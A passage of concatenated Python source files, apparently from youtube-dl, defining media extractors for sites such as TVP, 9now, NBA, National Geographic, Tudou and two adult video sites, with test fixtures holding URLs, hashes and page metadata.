                '%s videos are only available for members (or paid members) and will not be downloaded. '
                % unaccessible_videos + self._ACCOUNT_CREDENTIALS_HINT)

        course_title = course.get('Title')
        course_description = course.get('Description')

        return self.playlist_result(entries, course_id, course_title, course_description)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_duration,
    int_or_none,
    qualities,
    determine_ext,
)


class SunPornoIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:www\.)?sunporno\.com/videos|embeds\.sunporno\.com/embed)/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.sunporno.com/videos/807778/',
        'md5': '507887e29033502f29dba69affeebfc9',
        'info_dict': {
            'id': '807778',
            'ext': 'mp4',
            'title': 'md5:0a400058e8105d39e35c35e7c5184164',
            'description': 'md5:a31241990e1bd3a64e72ae99afb325fb',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 302,
            'age_limit': 18,
        }
    }, {
        'url': 'http://embeds.sunporno.com/embed/807778',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://www.sunporno.com/videos/%s' % video_id, video_id)

        title = self._html_search_regex(
            r'<title>([^<]+)</title>', webpage, 'title')
        description = self._html_search_meta(
            'description', webpage, 'description')
        thumbnail = self._html_search_regex(
            r'poster="([^"]+)"', webpage, 'thumbnail', fatal=False)

        duration = parse_duration(self._search_regex(
            (r'itemprop="duration"[^>]*>\s*(\d+:\d+)\s*<',
             r'>Duration:\s*<span[^>]+>\s*(\d+:\d+)\s*<'),
            webpage, 'duration', fatal=False))

        view_count = int_or_none(self._html_search_regex(
            r'class="views">(?:<noscript>)?\s*(\d+)\s*<',
            webpage, 'view count', fatal=False))
        comment_count = int_or_none(self._html_search_regex(
            r'(\d+)</b> Comments?',
            webpage, 'comment count', fatal=False, default=None))

        formats = []
        quality = qualities(['mp4', 'flv'])
        for video_url in re.findall(r'<(?:source|video) src="([^"]+)"', webpage):
            video_ext = determine_ext(video_url)
            formats.append({
                'url': video_url,
                'format_id': video_ext,
                'quality': quality(video_ext),
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'view_count': view_count,
            'comment_count': comment_count,
            'formats': formats,
            'age_limit': 18,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    clean_html,
    get_element_by_attribute,
    ExtractorError,
)


class TVPIE(InfoExtractor):
    IE_NAME = 'tvp'
    IE_DESC = 'Telewizja Polska'
    _VALID_URL = r'https?://[^/]+\.tvp\.(?:pl|info)/(?:(?!\d+/)[^/]+/)*(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://vod.tvp.pl/194536/i-seria-odc-13',
        'md5': '8aa518c15e5cc32dfe8db400dc921fbb',
        'info_dict': {
            'id': '194536',
            'ext': 'mp4',
            'title': 'Czas honoru, I seria – odc. 13',
            'description': 'md5:76649d2014f65c99477be17f23a4dead',
        },
    }, {
        'url': 'http://www.tvp.pl/there-can-be-anything-so-i-shortened-it/17916176',
        'md5': 'b0005b542e5b4de643a9690326ab1257',
        'info_dict': {
            'id': '17916176',
            'ext': 'mp4',
            'title': 'TVP Gorzów pokaże filmy studentów z podroży dookoła świata',
            'description': 'TVP Gorzów pokaże filmy studentów z podroży dookoła świata',
        },
    }, {
        # page id is not the same as video id(#7799)
        'url': 'http://vod.tvp.pl/22704887/08122015-1500',
        'md5': 'cf6a4705dfd1489aef8deb168d6ba742',
        'info_dict': {
            'id': '22680786',
            'ext': 'mp4',
            'title': 'Wiadomości, 08.12.2015, 15:00',
        },
    }, {
        'url': 'http://vod.tvp.pl/seriale/obyczajowe/na-sygnale/sezon-2-27-/odc-39/17834272',
        'only_matching': True,
    }, {
        'url': 'http://wiadomosci.tvp.pl/25169746/24052016-1200',
        'only_matching': True,
    }, {
        'url': 'http://krakow.tvp.pl/25511623/25lecie-mck-wyjatkowe-miejsce-na-mapie-krakowa',
        'only_matching': True,
    }, {
        'url': 'http://teleexpress.tvp.pl/25522307/wierni-wzieli-udzial-w-procesjach',
        'only_matching': True,
    }, {
        'url': 'http://sport.tvp.pl/25522165/krychowiak-uspokaja-w-sprawie-kontuzji-dwa-tygodnie-to-maksimum',
        'only_matching': True,
    }, {
        'url': 'http://www.tvp.info/25511919/trwa-rewolucja-wladza-zdecydowala-sie-na-pogwalcenie-konstytucji',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        page_id = self._match_id(url)
        webpage = self._download_webpage(url, page_id)
        video_id = self._search_regex([
            r'<iframe[^>]+src="[^"]*?object_id=(\d+)',
            "object_id\s*:\s*'(\d+)'"], webpage, 'video id')
        return {
            '_type': 'url_transparent',
            'url': 'tvp:' + video_id,
            'description': self._og_search_description(webpage, default=None),
            'thumbnail': self._og_search_thumbnail(webpage),
            'ie_key': 'TVPEmbed',
        }


class TVPEmbedIE(InfoExtractor):
    IE_NAME = 'tvp:embed'
    IE_DESC = 'Telewizja Polska'
    _VALID_URL = r'(?:tvp:|https?://[^/]+\.tvp\.(?:pl|info)/sess/tvplayer\.php\?.*?object_id=)(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://www.tvp.pl/sess/tvplayer.php?object_id=22670268',
        'md5': '8c9cd59d16edabf39331f93bf8a766c7',
        'info_dict': {
            'id': '22670268',
            'ext': 'mp4',
            'title': 'Panorama, 07.12.2015, 15:40',
        },
    }, {
        'url': 'tvp:22670268',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://www.tvp.pl/sess/tvplayer.php?object_id=%s' % video_id, video_id)

        error_massage = get_element_by_attribute('class', 'msg error', webpage)
        if error_massage:
            raise ExtractorError('%s said: %s' % (
                self.IE_NAME, clean_html(error_massage)), expected=True)

        title = self._search_regex(
            r'name\s*:\s*([\'"])Title\1\s*,\s*value\s*:\s*\1(?P<title>.+?)\1',
            webpage, 'title', group='title')
        series_title = self._search_regex(
            r'name\s*:\s*([\'"])SeriesTitle\1\s*,\s*value\s*:\s*\1(?P<series>.+?)\1',
            webpage, 'series', group='series', default=None)
        if series_title:
            title = '%s, %s' % (series_title, title)

        thumbnail = self._search_regex(
            r"poster\s*:\s*'([^']+)'", webpage, 'thumbnail', default=None)

        video_url = self._search_regex(
            r'0:{src:([\'"])(?P<url>.*?)\1', webpage,
            'formats', group='url', default=None)
        if not video_url or 'material_niedostepny.mp4' in video_url:
            video_url = self._download_json(
                'http://www.tvp.pl/pub/stat/videofileinfo?video_id=%s' % video_id,
                video_id)['video_url']

        formats = []
        video_url_base = self._search_regex(
            r'(https?://.+?/video)(?:\.(?:ism|f4m|m3u8)|-\d+\.mp4)',
            video_url, 'video base url', default=None)
        if video_url_base:
            # TODO: <Group> found instead of <AdaptationSet> in MPD manifest.
            # It's not mentioned in MPEG-DASH standard. Figure that out.
            # formats.extend(self._extract_mpd_formats(
            #     video_url_base + '.ism/video.mpd',
            #     video_id, mpd_id='dash', fatal=False))
            formats.extend(self._extract_f4m_formats(
                video_url_base + '.ism/video.f4m',
                video_id, f4m_id='hds', fatal=False))
            m3u8_formats = self._extract_m3u8_formats(
                video_url_base + '.ism/video.m3u8', video_id,
                'mp4', 'm3u8_native', m3u8_id='hls', fatal=False)
            self._sort_formats(m3u8_formats)
            m3u8_formats = list(filter(
                lambda f: f.get('vcodec') != 'none' and f.get('resolution') != 'multiple',
                m3u8_formats))
            formats.extend(m3u8_formats)
            for i, m3u8_format in enumerate(m3u8_formats, 2):
                http_url = '%s-%d.mp4' % (video_url_base, i)
                if self._is_valid_url(http_url, video_id):
                    f = m3u8_format.copy()
                    f.update({
                        'url': http_url,
                        'format_id': f['format_id'].replace('hls', 'http'),
                        'protocol': 'http',
                    })
                    formats.append(f)
        else:
            formats = [{
                'format_id': 'direct',
                'url': video_url,
                'ext': determine_ext(video_url, 'mp4'),
            }]

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'formats': formats,
        }


class TVPSeriesIE(InfoExtractor):
    IE_NAME = 'tvp:series'
    _VALID_URL = r'https?://vod\.tvp\.pl/(?:[^/]+/){2}(?P<id>[^/]+)/?$'

    _TESTS = [{
        'url': 'http://vod.tvp.pl/filmy-fabularne/filmy-za-darmo/ogniem-i-mieczem',
        'info_dict': {
            'title': 'Ogniem i mieczem',
            'id': '4278026',
        },
        'playlist_count': 4,
    }, {
        'url': 'http://vod.tvp.pl/audycje/podroze/boso-przez-swiat',
        'info_dict': {
            'title': 'Boso przez świat',
            'id': '9329207',
        },
        'playlist_count': 86,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id, tries=5)

        title = self._html_search_regex(
            r'(?s) id=[\'"]path[\'"]>(?:.*? / ){2}(.*?)</span>', webpage, 'series')
        playlist_id = self._search_regex(r'nodeId:\s*(\d+)', webpage, 'playlist id')
        playlist = self._download_webpage(
            'http://vod.tvp.pl/vod/seriesAjax?type=series&nodeId=%s&recommend'
            'edId=0&sort=&page=0&pageSize=10000' % playlist_id, display_id, tries=5,
            note='Downloading playlist')

        videos_paths = re.findall(
            '(?s)class="shortTitle">.*?href="(/[^"]+)', playlist)
        entries = [
            self.url_result('http://vod.tvp.pl%s' % v_path, ie=TVPIE.ie_key())
            for v_path in videos_paths]

        return {
            '_type': 'playlist',
            'id': playlist_id,
            'display_id': display_id,
            'title': title,
            'entries': entries,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    int_or_none,
    float_or_none,
    ExtractorError,
)


class NineNowIE(InfoExtractor):
    IE_NAME = '9now.com.au'
    _VALID_URL = r'https?://(?:www\.)?9now\.com\.au/(?:[^/]+/){2}(?P<id>[^/?#]+)'
    _TESTS = [{
        # clip
        'url': 'https://www.9now.com.au/afl-footy-show/2016/clip-ciql02091000g0hp5oktrnytc',
        'md5': '17cf47d63ec9323e562c9957a968b565',
        'info_dict': {
            'id': '16801',
            'ext': 'mp4',
            'title': 'St. Kilda\'s Joey Montagna on the potential for a player\'s strike',
            'description': 'Is a boycott of the NAB Cup "on the table"?',
            'uploader_id': '4460760524001',
            'upload_date': '20160713',
            'timestamp': 1468421266,
        },
        'skip': 'Only available in Australia',
    }, {
        # episode
        'url': 'https://www.9now.com.au/afl-footy-show/2016/episode-19',
        'only_matching': True,
    }, {
        # DRM protected
        'url': 'https://www.9now.com.au/andrew-marrs-history-of-the-world/season-1/episode-1',
        'only_matching': True,
    }]
    BRIGHTCOVE_URL_TEMPLATE = 'http://players.brightcove.net/4460760524001/default_default/index.html?videoId=%s'

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        page_data = self._parse_json(self._search_regex(
            r'window\.__data\s*=\s*({.*?});', webpage,
            'page data'), display_id)
        common_data = page_data.get('episode', {}).get('episode') or page_data.get('clip', {}).get('clip')
        video_data = common_data['video']

        if video_data.get('drm'):
            raise ExtractorError('This video is DRM protected.', expected=True)

        brightcove_id = video_data.get('brightcoveId') or 'ref:' + video_data['referenceId']
        video_id = compat_str(video_data.get('id') or brightcove_id)
        title = common_data['name']

        thumbnails = [{
            'id': thumbnail_id,
            'url': thumbnail_url,
            'width': int_or_none(thumbnail_id[1:])
        } for thumbnail_id, thumbnail_url in common_data.get('image', {}).get('sizes', {}).items()]

        return {
            '_type': 'url_transparent',
            'url': self.BRIGHTCOVE_URL_TEMPLATE % brightcove_id,
            'id': video_id,
            'title': title,
            'description': common_data.get('description'),
            'duration': float_or_none(video_data.get('duration'), 1000),
            'thumbnails': thumbnails,
            'ie_key': 'BrightcoveNew',
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    parse_duration,
    str_to_int,
)


class VpornIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?vporn\.com/[^/]+/(?P<display_id>[^/]+)/(?P<id>\d+)'
    _TESTS = [
        {
            'url': 'http://www.vporn.com/masturbation/violet-on-her-th-birthday/497944/',
            'md5': 'facf37c1b86546fa0208058546842c55',
            'info_dict': {
                'id': '497944',
                'display_id': 'violet-on-her-th-birthday',
                'ext': 'mp4',
                'title': 'Violet on her 19th birthday',
                'description': 'Violet dances in front of the camera which is sure to get you horny.',
                'thumbnail': 're:^https?://.*\.jpg$',
                'uploader': 'kileyGrope',
                'categories': ['Masturbation', 'Teen'],
                'duration': 393,
                'age_limit': 18,
                'view_count': int,
            },
            'skip': 'video removed',
        },
        {
            'url': 'http://www.vporn.com/female/hana-shower/523564/',
            'md5': 'ced35a4656198a1664cf2cda1575a25f',
            'info_dict': {
                'id': '523564',
                'display_id': 'hana-shower',
                'ext': 'mp4',
                'title': 'Hana Shower',
                'description': 'Hana showers at the bathroom.',
                'thumbnail': 're:^https?://.*\.jpg$',
                'uploader': 'Hmmmmm',
                'categories': ['Big Boobs', 'Erotic', 'Teen', 'Female', '720p'],
                'duration': 588,
                'age_limit': 18,
                'view_count': int,
            }
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(url, display_id)

        errmsg = 'This video has been deleted due to Copyright Infringement or by the account owner!'
        if errmsg in webpage:
            raise ExtractorError('%s said: %s' % (self.IE_NAME, errmsg), expected=True)

        title = self._html_search_regex(
            r'videoname\s*=\s*\'([^\']+)\'', webpage, 'title').strip()
        description = self._html_search_regex(
            r'class="(?:descr|description_txt)">(.*?)</div>',
            webpage, 'description', fatal=False)
        thumbnail = self._html_search_regex(
            r'flashvars\.imageUrl\s*=\s*"([^"]+)"', webpage, 'description', fatal=False, default=None)
        if thumbnail:
            thumbnail = 'http://www.vporn.com' + thumbnail

        uploader = self._html_search_regex(
            r'(?s)Uploaded by:.*?<a href="/user/[^"]+"[^>]*>(.+?)</a>',
            webpage, 'uploader', fatal=False)

        categories = re.findall(r'<a href="/cat/[^"]+"[^>]*>([^<]+)</a>', webpage)

        duration = parse_duration(self._search_regex(
            r'Runtime:\s*</span>\s*(\d+ min \d+ sec)',
            webpage, 'duration', fatal=False))

        view_count = str_to_int(self._search_regex(
            r'class="views">([\d,\.]+) [Vv]iews<',
            webpage, 'view count', fatal=False))
        comment_count = str_to_int(self._html_search_regex(
            r"'Comments \(([\d,\.]+)\)'",
            webpage, 'comment count', default=None))

        formats = []

        for video in re.findall(r'flashvars\.videoUrl([^=]+?)\s*=\s*"(https?://[^"]+)"', webpage):
            video_url = video[1]
            fmt = {
                'url': video_url,
                'format_id': video[0],
            }
            m = re.search(r'_(?P<width>\d+)x(?P<height>\d+)_(?P<vbr>\d+)k\.mp4$', video_url)
            if m:
                fmt.update({
                    'width': int(m.group('width')),
                    'height': int(m.group('height')),
                    'vbr': int(m.group('vbr')),
                })
            formats.append(fmt)

        self._sort_formats(formats)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'categories': categories,
            'duration': duration,
            'view_count': view_count,
            'comment_count': comment_count,
            'age_limit': 18,
            'formats': formats,
        }






from __future__ import unicode_literals

import functools
import os.path
import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlencode,
    compat_urlparse,
)
from ..utils import (
    int_or_none,
    OnDemandPagedList,
    parse_duration,
    remove_start,
    xpath_text,
    xpath_attr,
)


class NBAIE(InfoExtractor):
    _VALID_URL = r'https?://(?:watch\.|www\.)?nba\.com/(?P<path>(?:[^/]+/)+(?P<id>[^?]*?))/?(?:/index\.html)?(?:\?.*)?$'
    _TESTS = [{
        'url': 'http://www.nba.com/video/games/nets/2012/12/04/0021200253-okc-bkn-recap.nba/index.html',
        'md5': '9e7729d3010a9c71506fd1248f74e4f4',
        'info_dict': {
            'id': '0021200253-okc-bkn-recap',
            'ext': 'mp4',
            'title': 'Thunder vs. Nets',
            'description': 'Kevin Durant scores 32 points and dishes out six assists as the Thunder beat the Nets in Brooklyn.',
            'duration': 181,
            'timestamp': 1354638466,
            'upload_date': '20121204',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.nba.com/video/games/hornets/2014/12/05/0021400276-nyk-cha-play5.nba/',
        'only_matching': True,
    }, {
        'url': 'http://watch.nba.com/video/channels/playoffs/2015/05/20/0041400301-cle-atl-recap.nba',
        'md5': 'b2b39b81cf28615ae0c3360a3f9668c4',
        'info_dict': {
            'id': '0041400301-cle-atl-recap',
            'ext': 'mp4',
            'title': 'Hawks vs. Cavaliers Game 1',
            'description': 'md5:8094c3498d35a9bd6b1a8c396a071b4d',
            'duration': 228,
            'timestamp': 1432134543,
            'upload_date': '20150520',
        }
    }, {
        'url': 'http://www.nba.com/clippers/news/doc-rivers-were-not-trading-blake',
        'info_dict': {
            'id': '1455672027478-Doc_Feb16_720',
            'ext': 'mp4',
            'title': 'Practice: Doc Rivers - 2/16/16',
            'description': 'Head Coach Doc Rivers addresses the media following practice.',
            'upload_date': '20160217',
            'timestamp': 1455672000,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.nba.com/timberwolves/wiggins-shootaround#',
        'info_dict': {
            'id': 'timberwolves',
            'title': 'Shootaround Access - Dec. 12 | Andrew Wiggins',
        },
        'playlist_count': 30,
        'params': {
            # Download the whole playlist takes too long time
            'playlist_items': '1-30',
        },
    }, {
        'url': 'http://www.nba.com/timberwolves/wiggins-shootaround#',
        'info_dict': {
            'id': 'Wigginsmp4',
            'ext': 'mp4',
            'title': 'Shootaround Access - Dec. 12 | Andrew Wiggins',
            'description': 'Wolves rookie Andrew Wiggins addresses the media after Friday\'s shootaround.',
            'upload_date': '20141212',
            'timestamp': 1418418600,
        },
        'params': {
            'noplaylist': True,
            # m3u8 download
            'skip_download': True,
        },
    }]

    _PAGE_SIZE = 30

    def _fetch_page(self, team, video_id, page):
        search_url = 'http://searchapp2.nba.com/nba-search/query.jsp?' + compat_urllib_parse_urlencode({
            'type': 'teamvideo',
            'start': page * self._PAGE_SIZE + 1,
            'npp': (page + 1) * self._PAGE_SIZE + 1,
            'sort': 'recent',
            'output': 'json',
            'site': team,
        })
        results = self._download_json(
            search_url, video_id, note='Download page %d of playlist data' % page)['results'][0]
        for item in results:
            yield self.url_result(compat_urlparse.urljoin('http://www.nba.com/', item['url']))

    def _extract_playlist(self, orig_path, video_id, webpage):
        team = orig_path.split('/')[0]

        if self._downloader.params.get('noplaylist'):
            self.to_screen('Downloading just video because of --no-playlist')
            video_path = self._search_regex(
                r'nbaVideoCore\.firstVideo\s*=\s*\'([^\']+)\';', webpage, 'video path')
            video_url = 'http://www.nba.com/%s/video/%s' % (team, video_path)
            return self.url_result(video_url)

        self.to_screen('Downloading playlist - add --no-playlist to just download video')
        playlist_title = self._og_search_title(webpage, fatal=False)
        entries = OnDemandPagedList(
            functools.partial(self._fetch_page, team, video_id),
            self._PAGE_SIZE, use_cache=True)

        return self.playlist_result(entries, team, playlist_title)

    def _real_extract(self, url):
        path, video_id = re.match(self._VALID_URL, url).groups()
        orig_path = path
        if path.startswith('nba/'):
            path = path[3:]

        if 'video/' not in path:
            webpage = self._download_webpage(url, video_id)
            path = remove_start(self._search_regex(r'data-videoid="([^"]+)"', webpage, 'video id'), '/')

            if path == '{{id}}':
                return self._extract_playlist(orig_path, video_id, webpage)

            # See prepareContentId() of pkgCvp.js
            if path.startswith('video/teams'):
                path = 'video/channels/proxy/' + path[6:]

        video_info = self._download_xml('http://www.nba.com/%s.xml' % path, video_id)
        video_id = os.path.splitext(xpath_text(video_info, 'slug'))[0]
        title = xpath_text(video_info, 'headline')
        description = xpath_text(video_info, 'description')
        duration = parse_duration(xpath_text(video_info, 'length'))
        timestamp = int_or_none(xpath_attr(video_info, 'dateCreated', 'uts'))

        thumbnails = []
        for image in video_info.find('images'):
            thumbnails.append({
                'id': image.attrib.get('cut'),
                'url': image.text,
                'width': int_or_none(image.attrib.get('width')),
                'height': int_or_none(image.attrib.get('height')),
            })

        formats = []
        for video_file in video_info.findall('.//file'):
            video_url = video_file.text
            if video_url.startswith('/'):
                continue
            if video_url.endswith('.m3u8'):
                formats.extend(self._extract_m3u8_formats(video_url, video_id, ext='mp4', m3u8_id='hls', fatal=False))
            elif video_url.endswith('.f4m'):
                formats.extend(self._extract_f4m_formats(video_url + '?hdcore=3.4.1.1', video_id, f4m_id='hds', fatal=False))
            else:
                key = video_file.attrib.get('bitrate')
                format_info = {
                    'format_id': key,
                    'url': video_url,
                }
                mobj = re.search(r'(\d+)x(\d+)(?:_(\d+))?', key)
                if mobj:
                    format_info.update({
                        'width': int(mobj.group(1)),
                        'height': int(mobj.group(2)),
                        'tbr': int_or_none(mobj.group(3)),
                    })
                formats.append(format_info)
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'duration': duration,
            'timestamp': timestamp,
            'thumbnails': thumbnails,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from .adobepass import AdobePassIE
from ..utils import (
    smuggle_url,
    url_basename,
    update_url_query,
    get_element_by_class,
)


class NationalGeographicVideoIE(InfoExtractor):
    IE_NAME = 'natgeo:video'
    _VALID_URL = r'https?://video\.nationalgeographic\.com/.*?'

    _TESTS = [
        {
            'url': 'http://video.nationalgeographic.com/video/news/150210-news-crab-mating-vin?source=featuredvideo',
            'md5': '730855d559abbad6b42c2be1fa584917',
            'info_dict': {
                'id': '0000014b-70a1-dd8c-af7f-f7b559330001',
                'ext': 'mp4',
                'title': 'Mating Crabs Busted by Sharks',
                'description': 'md5:16f25aeffdeba55aaa8ec37e093ad8b3',
                'timestamp': 1423523799,
                'upload_date': '20150209',
                'uploader': 'NAGS',
            },
            'add_ie': ['ThePlatform'],
        },
        {
            'url': 'http://video.nationalgeographic.com/wild/when-sharks-attack/the-real-jaws',
            'md5': '6a3105eb448c070503b3105fb9b320b5',
            'info_dict': {
                'id': 'ngc-I0IauNSWznb_UV008GxSbwY35BZvgi2e',
                'ext': 'mp4',
                'title': 'The Real Jaws',
                'description': 'md5:8d3e09d9d53a85cd397b4b21b2c77be6',
                'timestamp': 1433772632,
                'upload_date': '20150608',
                'uploader': 'NAGS',
            },
            'add_ie': ['ThePlatform'],
        },
    ]

    def _real_extract(self, url):
        name = url_basename(url)

        webpage = self._download_webpage(url, name)
        guid = self._search_regex(
            r'id="(?:videoPlayer|player-container)"[^>]+data-guid="([^"]+)"',
            webpage, 'guid')

        return {
            '_type': 'url_transparent',
            'ie_key': 'ThePlatform',
            'url': smuggle_url(
                'http://link.theplatform.com/s/ngs/media/guid/2423130747/%s?mbr=true' % guid,
                {'force_smil_url': True}),
            'id': guid,
        }


class NationalGeographicIE(AdobePassIE):
    IE_NAME = 'natgeo'
    _VALID_URL = r'https?://channel\.nationalgeographic\.com/(?:wild/)?[^/]+/(?:videos|episodes)/(?P<id>[^/?]+)'

    _TESTS = [
        {
            'url': 'http://channel.nationalgeographic.com/the-story-of-god-with-morgan-freeman/videos/uncovering-a-universal-knowledge/',
            'md5': '518c9aa655686cf81493af5cc21e2a04',
            'info_dict': {
                'id': 'vKInpacll2pC',
                'ext': 'mp4',
                'title': 'Uncovering a Universal Knowledge',
                'description': 'md5:1a89148475bf931b3661fcd6ddb2ae3a',
                'timestamp': 1458680907,
                'upload_date': '20160322',
                'uploader': 'NEWA-FNG-NGTV',
            },
            'add_ie': ['ThePlatform'],
        },
        {
            'url': 'http://channel.nationalgeographic.com/wild/destination-wild/videos/the-stunning-red-bird-of-paradise/',
            'md5': 'c4912f656b4cbe58f3e000c489360989',
            'info_dict': {
                'id': 'Pok5lWCkiEFA',
                'ext': 'mp4',
                'title': 'The Stunning Red Bird of Paradise',
                'description': 'md5:7bc8cd1da29686be4d17ad1230f0140c',
                'timestamp': 1459362152,
                'upload_date': '20160330',
                'uploader': 'NEWA-FNG-NGTV',
            },
            'add_ie': ['ThePlatform'],
        },
        {
            'url': 'http://channel.nationalgeographic.com/the-story-of-god-with-morgan-freeman/episodes/the-power-of-miracles/',
            'only_matching': True,
        }
    ]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        release_url = self._search_regex(
            r'video_auth_playlist_url\s*=\s*"([^"]+)"',
            webpage, 'release url')
        query = {
            'mbr': 'true',
            'switch': 'http',
        }
        is_auth = self._search_regex(r'video_is_auth\s*=\s*"([^"]+)"', webpage, 'is auth', fatal=False)
        if is_auth == 'auth':
            auth_resource_id = self._search_regex(
                r"video_auth_resourceId\s*=\s*'([^']+)'",
                webpage, 'auth resource id')
            query['auth'] = self._extract_mvpd_auth(url, display_id, 'natgeo', auth_resource_id)

        return {
            '_type': 'url_transparent',
            'ie_key': 'ThePlatform',
            'url': smuggle_url(
                update_url_query(release_url, query),
                {'force_smil_url': True}),
            'display_id': display_id,
        }


class NationalGeographicEpisodeGuideIE(InfoExtractor):
    IE_NAME = 'natgeo:episodeguide'
    _VALID_URL = r'https?://channel\.nationalgeographic\.com/(?:wild/)?(?P<id>[^/]+)/episode-guide'
    _TESTS = [
        {
            'url': 'http://channel.nationalgeographic.com/the-story-of-god-with-morgan-freeman/episode-guide/',
            'info_dict': {
                'id': 'the-story-of-god-with-morgan-freeman-season-1',
                'title': 'The Story of God with Morgan Freeman - Season 1',
            },
            'playlist_mincount': 6,
        },
        {
            'url': 'http://channel.nationalgeographic.com/underworld-inc/episode-guide/?s=2',
            'info_dict': {
                'id': 'underworld-inc-season-2',
                'title': 'Underworld, Inc. - Season 2',
            },
            'playlist_mincount': 7,
        },
    ]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        show = get_element_by_class('show', webpage)
        selected_season = self._search_regex(
            r'<div[^>]+class="select-seasons[^"]*".*?<a[^>]*>(.*?)</a>',
            webpage, 'selected season')
        entries = [
            self.url_result(self._proto_relative_url(entry_url), 'NationalGeographic')
            for entry_url in re.findall('(?s)<div[^>]+class="col-inner"[^>]*?>.*?<a[^>]+href="([^"]+)"', webpage)]
        return self.playlist_result(
            entries, '%s-%s' % (display_id, selected_season.lower().replace(' ', '-')),
            '%s - %s' % (show, selected_season))






# coding: utf-8

from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    ExtractorError,
    int_or_none,
    InAdvancePagedList,
    float_or_none,
    unescapeHTML,
)


class TudouIE(InfoExtractor):
    IE_NAME = 'tudou'
    _VALID_URL = r'https?://(?:www\.)?tudou\.com/(?:(?:programs|wlplay)/view|(?:listplay|albumplay)/[\w-]{11})/(?P<id>[\w-]{11})'
    _TESTS = [{
        'url': 'http://www.tudou.com/listplay/zzdE77v6Mmo/2xN2duXMxmw.html',
        'md5': '140a49ed444bd22f93330985d8475fcb',
        'info_dict': {
            'id': '159448201',
            'ext': 'f4v',
            'title': '卡马乔国足开大脚长传冲吊集锦',
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1372113489000,
            'description': '卡马乔卡家军，开大脚先进战术不完全集锦！',
            'duration': 289.04,
            'view_count': int,
            'filesize': int,
        }
    }, {
        'url': 'http://www.tudou.com/programs/view/ajX3gyhL0pc/',
        'info_dict': {
            'id': '117049447',
            'ext': 'f4v',
            'title': 'La Sylphide-Bolshoi-Ekaterina Krysanova & Vyacheslav Lopatin 2012',
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1349207518000,
            'description': 'md5:294612423894260f2dcd5c6c04fe248b',
            'duration': 5478.33,
            'view_count': int,
            'filesize': int,
        }
    }]

    _PLAYER_URL = 'http://js.tudouui.com/bin/lingtong/PortalPlayer_177.swf'

    # Translated from tudou/tools/TVCHelper.as in PortalPlayer_193.swf
    # 0001, 0002 and 4001 are not included as they indicate temporary issues
    TVC_ERRORS = {
        '0003': 'The video is deleted or does not exist',
        '1001': 'This video is unavailable due to licensing issues',
        '1002': 'This video is unavailable as it\'s under review',
        '1003': 'This video is unavailable as it\'s under review',
        '3001': 'Password required',
        '5001': 'This video is available in Mainland China only due to licensing issues',
        '7001': 'This video is unavailable',
        '8001': 'This video is unavailable due to licensing issues',
    }

    def _url_for_id(self, video_id, quality=None):
        info_url = 'http://v2.tudou.com/f?id=' + compat_str(video_id)
        if quality:
            info_url += '&hd' + quality
        xml_data = self._download_xml(info_url, video_id, 'Opening the info XML page')
        error = xml_data.attrib.get('error')
        if error is not None:
            raise ExtractorError('Tudou said: %s' % error, expected=True)
        final_url = xml_data.text
        return final_url

    def _real_extract(self, url):
        video_id = self._match_id(url)
        item_data = self._download_json(
            'http://www.tudou.com/tvp/getItemInfo.action?ic=%s' % video_id, video_id)

        youku_vcode = item_data.get('vcode')
        if youku_vcode:
            return self.url_result('youku:' + youku_vcode, ie='Youku')

        if not item_data.get('itemSegs'):
            tvc_code = item_data.get('tvcCode')
            if tvc_code:
                err_msg = self.TVC_ERRORS.get(tvc_code)
                if err_msg:
                    raise ExtractorError('Tudou said: %s' % err_msg, expected=True)
                raise ExtractorError('Unexpected error %s returned from Tudou' % tvc_code)
            raise ExtractorError('Unxpected error returned from Tudou')

        title = unescapeHTML(item_data['kw'])
        description = item_data.get('desc')
        thumbnail_url = item_data.get('pic')
        view_count = int_or_none(item_data.get('playTimes'))
        timestamp = int_or_none(item_data.get('pt'))

        segments = self._parse_json(item_data['itemSegs'], video_id)
        # It looks like the keys are the arguments that have to be passed as
        # the hd field in the request url, we pick the higher
        # Also, filter non-number qualities (see issue #3643).
        quality = sorted(filter(lambda k: k.isdigit(), segments.keys()),
                         key=lambda k: int(k))[-1]
        parts = segments[quality]
        len_parts = len(parts)
